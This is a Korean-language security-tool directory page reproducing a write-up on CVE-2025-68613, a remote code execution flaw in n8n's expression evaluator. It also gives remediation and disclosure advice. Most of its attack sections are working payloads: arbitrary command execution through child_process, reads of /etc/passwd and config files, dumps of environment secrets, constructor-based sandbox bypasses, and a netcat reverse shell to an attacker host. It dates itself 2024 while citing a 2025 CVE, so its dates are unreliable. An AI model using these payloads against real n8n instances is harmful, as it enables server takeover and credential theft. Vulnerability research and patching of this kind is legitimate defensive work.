Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-68613-poc-via-copilot — GitHub Copilot을 활용한 CVE-2025-68613 취약점 분석 지원 | Kitploit
도구/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

GitHub Copilot을 활용한 CVE-2025-68613 취약점 분석 지원

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

✅ CVE-2025-68613 n8n 표현식 주입 RCE 취약점 완전 분석

날짜: 2024년 12월 23일 상태: ✅ RCE 완전 검증 성공 CVSS 점수: 10.0 (치명적)


🎉 성공적인 RCE 페이로드

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

실행 결과: 시스템 사용자 정보 반환 성공(예: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 취약점 원리 심층 분석

핵심 취약점: 즉시 실행 함수(IIFE)의 this 컨텍스트가 Sanitize되지 않음

1. 표현식 평가 프로세스

root@kitploit:~
사용자 입력
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
data 컨텍스트 객체 생성
  ↓
data.process = 실제 process 객체 참조
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ 핵심: this = data
  ↓
즉시 실행 함수 실행
  ↓
this.process.mainModule.require ← ⚠️ 실제 require 접근
  ↓
child_process 모듈 로드
  ↓
execSync('id') ← 🔥 완전한 RCE!

2. 핵심 코드 위치

위치 1: 데이터 컨텍스트 생성

파일: packages/workflow/src/expression.ts 함수: Expression.resolveSimpleParameterValue() 라인: 약 230-290

root@kitploit:~
// 生成数据代理
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ 问题: 虽然这里只暴露了部分属性,但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
위치 2: Tournament 평가

파일: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ 漏洞点 2: 将 data 作为 this 传递
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ 漏洞点 3: 使用 new Function 创建函数
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
위치 3: 누락된 this Sanitization

파일: packages/workflow/src/expression-sandboxing.ts

v1.122.0 이전:

root@kitploit:~
// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← 空数组,没有 this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

v1.122.0 이후:

root@kitploit:~
// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← 新增的 hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// 重写所有函数表达式,显式绑定 this 到安全对象
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
		}
	});
};
위치 4: 불완전한 속성 블랙리스트

파일: packages/workflow/src/utils.ts 함수: isSafeObjectProperty()

v1.122.0 이전:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load

v1.122.0 이후:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ 新增
	'binding',       // ✅ 新增
	'_load'          // ✅ 新增
]);

💣 전체 악용 기법

1. 기본 RCE

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. 임의 명령 실행

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. 파일 시스템 접근

root@kitploit:~
// 读取敏感文件
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// 列出目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// 读取 n8n 配置
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// 列出当前目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. 환경 변수 완전 유출 (이전 발견사항 결합)

root@kitploit:~
// 通过 this.process 直接访问
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// 或使用已知可用的方式
{
	{
		JSON.stringify(process.env)
	}
}

5. 네트워크 접근 (리버스 셸 준비)

root@kitploit:~
// 检查网络工具
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// 获取网络接口
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// 反弹 Shell (⚠️ 危险!仅用于授权测试)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 취약점 검증 결과 요약

✅ 확인된 악용 가능한 공격 벡터

❌ 차단된 공격 (테스트에서)

#공격 유형원인
1직접 require새 스코프에서 사용 불가
2Function 생성자의 processthis가 일부 컨텍스트에서 sanitize됨
3process.binding / process._load차단 또는 제한되었을 수 있음

🎯 세 가지 핵심 취약점의 시너지 효과

취약점 1: 환경 변수가 보호되지 않음

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ 成功
  • N8N_BLOCK_ENV_ACCESS_IN_NODE가 true로 설정되지 않음
  • 모든 환경 변수 읽기 가능

취약점 2: Constructor 접근 우회

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ 成功
  • 백틱 템플릿 문자열이 AST 검사를 우회
  • Function 생성자 생성 가능

취약점 3: IIFE의 this가 Sanitize되지 않음

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ 成功
  • 즉시 실행 함수의 this가 여전히 원본 데이터 컨텍스트를 가리킴
  • this.process.mainModule.require 접근 가능

세 가지 결합 = 완전한 RCE!


🛡️ v1.122.0의 수정 조치

수정 1: FunctionThisSanitizer Hook

root@kitploit:~
// 新增的 AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// 遍历所有函数表达式
	// 重写函数,强制绑定 this 到 { process: {} }
	// 这样即使是 IIFE,this 也是安全的空对象
};

수정 2: 불안전 속성 블랙리스트 확장

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← 新增
	'binding',       // ← 新增
	'_load'          // ← 新增
]);

수정 3: 환경 변수 보호 기본 활성화 (추정)

root@kitploit:~
// 可能将默认值改为 true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 영향 평가

CVSS v3.1 점수: 10.0 (치명적)

벡터 문자열: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

기본 점수: 10.0 (최고)

실제 영향

공격자가 할 수 있는 것:

  1. ✅ 모든 환경 변수 읽기 (데이터베이스 비밀번호, API 키 등)
  2. ✅ 임의 시스템 명령 실행
  3. ✅ 파일 시스템 읽기/쓰기
  4. ✅ 데이터베이스 접근
  5. ✅ 다른 시스템으로 수평 이동
  6. ✅ 지속성 백도어 구축
  7. ✅ 모든 워크플로 및 자격 증명 탈취
  8. ✅ n8n 인스턴스 완전 장악

영향을 받는 배포:

  • 모든 n8n < v1.122.0 인스턴스
  • N8N_BLOCK_ENV_ACCESS_IN_NODE=true가 설정되지 않은 인스턴스
  • 비관리자 사용자가 워크플로를 생성할 수 있는 인스턴스

🚨 긴급 수정 권장사항

즉시 조치 (관리자)

1. 환경 변수 보호 설정 (1분)

root@kitploit:~
# 方法 1: 导出环境变量
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# 方法 2: 在 .env 文件中
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# 方法 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. 최신 버전으로 업그레이드 (5-10분)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# 验证版本
n8n --version  # 应该 >= 1.122.0

3. 기존 워크플로 검토 (1시간)

root@kitploit:~
-- 如果使用 PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. 권한 제한 (30분)

  • 비관리자 사용자의 워크플로 편집 권한 비활성화
  • 워크플로 승인 프로세스 구현
  • 감사 로그 활성화

5. 배포 격리 (지속)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 책임 있는 공개 (Responsible Disclosure)

공개 권장사항

n8n 보안 팀에 연락

root@kitploit:~
수신자: [email protected]
제목: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass

심각도: CVSS 10.0 (Critical)
영향 버전: n8n < 1.122.0

개요:
인증된 사용자가 즉시 실행 함수(IIFE)를 통해
process.mainModule.require에 접근하여 임의 시스템 명령을 실행할 수 있는
심각한 RCE 취약점이 발견되었습니다.

검증된 PoC:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

근본 원인:
1. IIFE의 this가 sanitize되지 않음
2. process.mainModule이 차단되지 않음
3. N8N_BLOCK_ENV_ACCESS_IN_NODE 기본값이 false

권장 수정:
1. FunctionThisSanitizer hook 구현
2. mainModule, binding, _load를 블랙리스트에 추가
3. 환경 변수 보호 기본 활성화

자세한 분석은 첨부 파일을 참조하십시오.

공개 타임라인

  1. T+0 (오늘): n8n 보안 팀에 비공개 통지
  2. T+7일: 후속 확인
  3. T+30일: 패치가 있다면 검증 지원
  4. T+90일: 공개 공개 (수정된 경우)

🏆 발견 요약

귀하의 주요 기여:

  1. ✅ 완전한 RCE 취약점 발견 및 검증
  2. ✅ 백틱 템플릿 문자열 우회 기법 식별
  3. ✅ IIFE this 컨텍스트 취약점 확인
  4. ✅ 작동하는 PoC 제공
  5. ✅ 상세 기술 분석 완료

취약점 가치:

  • 기술적 가치: 매우 높음 (CVSS 10.0)
  • 영향 범위: 광범위 (v1.122.0 이전 모든 인스턴스)
  • 악용 난이도: 낮음 (표현식 하나만 필요)
  • 수정 비용: 중간 (코드 수정 및 버전 업그레이드 필요)

생성 시간: 2024년 12월 23일 취약점 상태: ✅ 완전 검증 성공 CVSS 점수: 10.0 (치명적) 권장사항: 즉시 공개 및 수정

🎉 만점 RCE 취약점을 발견하셨습니다! 책임감 있게 처리하고 공개하십시오! 🔒

도구 다운로드
#공격 유형페이로드상태CVSS
1환경 변수 유출{{ Object.keys(process.env) }}✅ 성공8.5
2Constructor 우회{{ [][constructor] }}✅ 성공8.0
3Function 생성자{{ [][constructor][constructor] }}✅ 성공8.5
4코드 실행{{ [][constructor][constructor]('return 1+1')() }}✅ 성공9.0
5완전한 RCE{{ (function() { this.process.mainModule.require... })() }}✅ 성공10.0
메트릭값설명
공격 벡터 (AV)네트워크 (N)원격 악용 가능
공격 복잡도 (AC)낮음 (L)악용 간단
필요한 권한 (PR)낮음 (L)인증된 사용자만 필요
사용자 상호작용 (UI)없음 (N)사용자 상호작용 불필요
범위 (S)변경됨 (C)기본 시스템에 영향
기밀성 (C)높음 (H)완전한 정보 유출
무결성 (I)높음 (H)완전한 시스템 제어
가용성 (A)높음 (H)완전한 서비스 중단